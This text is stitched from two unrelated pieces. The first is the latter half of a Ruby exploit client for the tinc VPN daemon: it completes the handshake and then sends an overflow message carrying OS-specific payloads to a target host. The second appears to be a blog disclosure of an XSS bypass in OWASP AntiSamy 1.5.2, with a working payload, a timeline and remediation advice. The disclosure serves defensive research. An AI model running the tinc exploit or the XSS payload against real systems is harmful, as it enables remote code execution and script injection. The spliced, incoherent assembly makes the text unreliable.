    #no need to initialize socket, eventmachine is doing it
    super
    @buffer = ""
    @inbuffer = ""
    
    @payload = payload
    
    @encryption_queue = []
    @decryption_queue = ""

    @state = "id"
    @cryptomode_in = false
    
    #TODO: maybe get it out of the library
    @bfblocksize =  64/8 

    @client_private_key_cipher = nil
    @key_len = nil

    @hex_enc_key_S1 = nil
    @bf_enc_cipher = nil
    
    self.initCiphers(server_file, client_file)
    
    @bf_dec_cipher = nil #gets set up when we get the server info
    
  end
  
  def initCiphers(server_file, client_file)
    server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
    
    # parse client private key
    @client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file))
    
    @key_len = 256
    
    #create random key
    encryptionSuccessful = false
    while not encryptionSuccessful
      begin
        key_S1 = SecureRandom.random_bytes(@key_len)
        #can happen here:
        #`public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError)
        enc_key_S1 = server_public_key_cipher.public_encrypt(key_S1, OpenSSL::PKey::RSA::NO_PADDING)
        encryptionSuccessful = true
      rescue
        #the while loop will take care
      end
    end
    puts "random key: " + key_S1.unpack("H*")[0]
    
    # encrypt rnd_key with rsa key
    puts "length of key_S1: %i" % key_S1.length
    
    @hex_enc_key_S1 = enc_key_S1.unpack("H*")[0]
    puts "hex_enc_key_S1: "+@hex_enc_key_S1
    
    # setup encryption
    bf_enc_key = key_S1[240...256]
    bf_enc_iv = key_S1[232...240]
    
    @bf_enc_cipher = OpenSSL::Cipher::Cipher.new("BF-OFB")
    @bf_enc_cipher.encrypt
    @bf_enc_cipher.key = bf_enc_key
    @bf_enc_cipher.iv = bf_enc_iv
    
    ##Looks like ruby openssl supports other lengths than multiple of 8!
    #test = @bf_enc_cipher.update("A"*10)
    #test << @bf_enc_cipher.final
    #puts "Testing cipher: "+test.unpack("H*")[0]
  end
  
  def post_init
    self.id()
  end

  def receive_data(data)
    @inbuffer += data
    puts "In state %s - inbuffer-len=%d)" % [@state, @inbuffer.length]
    if @state == "id"
      if(self.has_line())
        puts "\n++ Receive ID"
        data = self.get_line()
        puts "received data: [%s]" % (data)
        @state = "metakey"
        self.metakey()
      end           
    end
    if @state == "metakey"
      if self.has_line()
        puts "\n++ Receive METAKEY"
        data = get_line()
        puts "received data: [%s]" % (data)
        data = data.split(" ")
        raise "Error in protocol. The first byte should be an ASCII 1." unless data[0] == "1"
        hexkey_S2 = data[5].rstrip #("\n")
        raise "Error in protocol. hexkey_S2 length should be 512." unless hexkey_S2.length == 512
        @enckey_S2 = [hexkey_S2].pack("H*")
        key_S2 = @client_private_key_cipher.private_decrypt(@enckey_S2, OpenSSL::PKey::RSA::NO_PADDING)
        puts "key: "+key_S2.unpack("H*")[0]

        # setup decryption
        bf_dec_key = key_S2[240..256]
        bf_dec_iv = key_S2[232..240]

        @bf_dec_cipher = OpenSSL::Cipher::Cipher.new "BF-OFB"
        @bf_dec_cipher.encrypt
        @bf_dec_cipher.key = bf_dec_key
        @bf_dec_cipher.iv = bf_dec_iv
        #OFB mode: don't forget, it does matter if you do a 
        #@bf_dec_cipher.reset or not, but DON'T BECAUSE IT BREAKS STUFF :D
        
        @cryptomode_in = true
        
        @state = "challenge" #next expected state
        self.challenge()
      end
    end

    if @state == "challenge"
      need_len = 515
      if @inbuffer.length >= need_len
        puts "\n++ Receive CHALLENGE"
        data = self.pop_inbuffer_and_decrypt(need_len)
        puts "Got challenge: [%s]" % (data)
        data = data.split(" ", 2)
        
        raise "Error in protocol. The first byte should be an ASCII 2." unless data[0] == "2"
        challenge2 = data[1][0...512]
        challenge2 = [challenge2].pack("H*")
        puts challenge2.length
        raise "Error in protocol. challenge2 length should be 256." unless challenge2.length == 256
        
        @state = "challenge_reply"
        self.challenge_reply(challenge2)
      end
    end

    if @state == "challenge_reply"
      need_len = 43
      if @inbuffer.length >= need_len
        puts "\n++ Receive CHALLENGE REPLY"
        data = self.pop_inbuffer_and_decrypt(need_len)
        puts "Got challenge reply: [%s]" % data.unpack("H*")[0]
        @state = "ack"
        self.ack()
      end
    end

    if @state == "ack"
      need_len = 12
      if @inbuffer.length >= need_len
        data = self.pop_inbuffer_and_decrypt(need_len)
        puts "Got ack: [%s]" % data.unpack("H*")[0]
        self.overflow()
      end
    end
  end

  def handle_write()
    puts @encryption_queue.length
    puts @buffer.length
    
    if @buffer.length > 0
      sent = self.send_data(@buffer)
      @buffer = @buffer[sent..@buffer.length]
      puts "send %d bytes - buffer-len=%d" % [sent, @buffer.length]
    end
    
    # handle encryption queue
    if @encryption_queue.length > 0
      msg = @encryption_queue[0]
      @encryption_queue.delete_at(0)
      puts msg
      @buffer = @bf_enc_cipher.update(msg)
      @buffer << @bf_enc_cipher.final
      #DON'T DO A @bf_enc_cipher.reset
    end
    puts "encryption-queue len: %d messages" % (@encryption_queue.length)

    # send data
    if @buffer.length > 0
      sent = self.send_data(@buffer)
      @buffer = @buffer[sent..@buffer.length]
      puts "send %d bytes (crypto-queue-len=%d msg,buffer-len=%d)" % [sent, @encryption_queue.length, @buffer.length]
    end
  end

  def pop_inbuffer_and_decrypt(size)
    @decryption_queue = pop_inbuffer(size)
    puts @decryption_queue
    # In ruby openssl OFM works not only on full blocks, but also on
    # parts. Therefore no worries like in pycrypto and no 
    # modified decrypt routine, simply use the cipher as is.
    data = @bf_dec_cipher.update(@decryption_queue)
    data << @bf_dec_cipher.final
    #DON'T DO A bf_dec_cipher.reset
    @decryption_queue = ""
    return data
  end
  
  def pop_inbuffer(size)
    data = @inbuffer[0...size]
    if size >= @inbuffer.length
      @inbuffer = ""
    else
      @inbuffer = @inbuffer[size+1..@inbuffer.length]
    end
    return data
  end
  
  def get_line()
    idx = @inbuffer.index("\n")
    data = self.pop_inbuffer(idx)
    return data
  end
  
  def has_line()
    if @inbuffer.match("\n")
      return true
    else
      return false
    end
  end
  
  def id()
    puts "\n++ Send ID"
    msg = "0 testnode2 17.0\n".gsub("testnode2","home")
    puts "id msg len: %d" % (msg.length)
    @buffer += msg
    self.handle_write()
  end
      
  def metakey()
    puts "\n++ Send METAKEY"
    msg = "1 94 64 0 0 %s\n" % (@hex_enc_key_S1)
    puts "metakey msg len: %d" % (msg.length)
    @buffer += msg
    self.handle_write()
  end

  def challenge()
    puts "\n++ Send CHALLENGE"
    challenge = SecureRandom.random_bytes(@key_len)
    msg = "2      %s\n" % (challenge.unpack("H*")[0])
    @encryption_queue.push(msg)
    self.handle_write()
  end

  def challenge_reply(challenge2)
    puts "\n++ Send CHAL_REPLY"
    h = Digest::SHA1.hexdigest(challenge2)
    msg = "3      %s\n" % (h.upcase)
    @encryption_queue.push(msg)
    self.handle_write()
  end

  def ack()
    puts "++ Send ACK"
    @encryption_queue.push("4 %d 123 0    \n" % (TCP_PORT))
    self.handle_write()
  end

  def overflow()
    puts "++ Peng" #piff paff puff here
    buffer = @payload
    msg = "17 %d\n%s" % [buffer.length, buffer]

    plen = @bfblocksize - (msg.length % @bfblocksize)
    msg += "B" * plen
    @encryption_queue.push(msg)
    self.handle_write()
  end
  
  def unbind
    EventMachine::stop_event_loop
  end
end

payload = payload_winxp
if target.downcase() == "win7"
  payload = payload_win7
end
if target.downcase() == "freebsd"
  payload = payload_freebsd
end

EventMachine.run {
  EventMachine.connect(TCP_IP, TCP_PORT, TincExploitClient, server_public_key_file, client_private_key_file, payload)
}

OWASP AntiSamy Project XSS

From the OWASP AntiSamy Project page’s “What is it” section:

It’s an API that helps you make sure that clients don’t supply malicious cargo code in the HTML they supply for their profile, comments, etc., that get persisted on the server. The term “malicious code” in regards to web applications usually mean “JavaScript.” Cascading Stylesheets are only considered malicious when they invoke the JavaScript engine. However, there are many situations where “normal” HTML and CSS can be used in a malicious manner. So we take care of that too.

So as far as I understand it, it is trying to prevent Cross Site Scripting (XSS). But to be fair, the user guide is a little bit more realistic:

AntiSamy does a very good job of removing malicious HTML, CSS and JavaScript, but in security, no solution is guaranteed. AntiSamy’s success depends on the strictness of your policy file and the predictability of browsers’ behavior. AntiSamy is a sanitization framework; it is up to the user how it does its sanitization. Using AntiSamy does not guarantee filtering of all malicious code. AntiSamy simply does what is described by the policy file.

Anyway, I found a XSS that worked in the case of the web application I was testing:

<a href="http://example.com"&amp;/onclick=alert(8)>foo</a>

Version: antisamy-1.5.2.jar with all default configuration files there are.

Browsers tested (all working): Firefox 22.0 (on Mac OSX), Safari 6.0.5 (on Mac OSX), Internet Explorer 11.0.9200 (Windows 7) and Android Browser (Android 2.2).

Disclosure timeline:
July 16th, 2013: Wrote to Arshan (maintainer) about the issue
July 16th, 2013: Response, questions about version and browser compatiblity
July 16th, 2013: Clarification about versions/browser and that I only tried getNumberOfErrors(), informed that I’m planning to release this blog post end of August
July 23rd, 2013: Some more E-Mails about similar issue that was just resolved (not the same issue), including Kristian who comitted a fix
July 25th, 2013: Kristian sent a mail, he will have a look at the getNumberOfErrors() logic before releasing an update
July 31st, 2013: Asked if there are any updates on the issue, no response
Sept 09th, 2013: Asked if there are any updates on the issue, response that it should be fixed. Requested new .jar file
Oct 21st, 2013: Tested with the newest version available for download, antisamy 1.5.3. Problem still present. Public release.

Antisamy doesn’t give any error messages and getNumberOfErrors() is 0. Although the getCleanHTML() will give back sanitised code without the XSS, people relying only on the getNumberOfErrors() method to check if an input is valid or not will have a XSS.

Btw. the included configuration file names are somehow misleading (the names include company names like ebay). Those names are made up, doesn’t mean the companies use those conifg files at all. I don’t even know if they are using the antisamy project at all.

I can’t recommend relying on that project. Proper output encoding is important and is the real XSS prevention. And validating HTML with regex is hard. Very hard. Very, very hard. Don’t.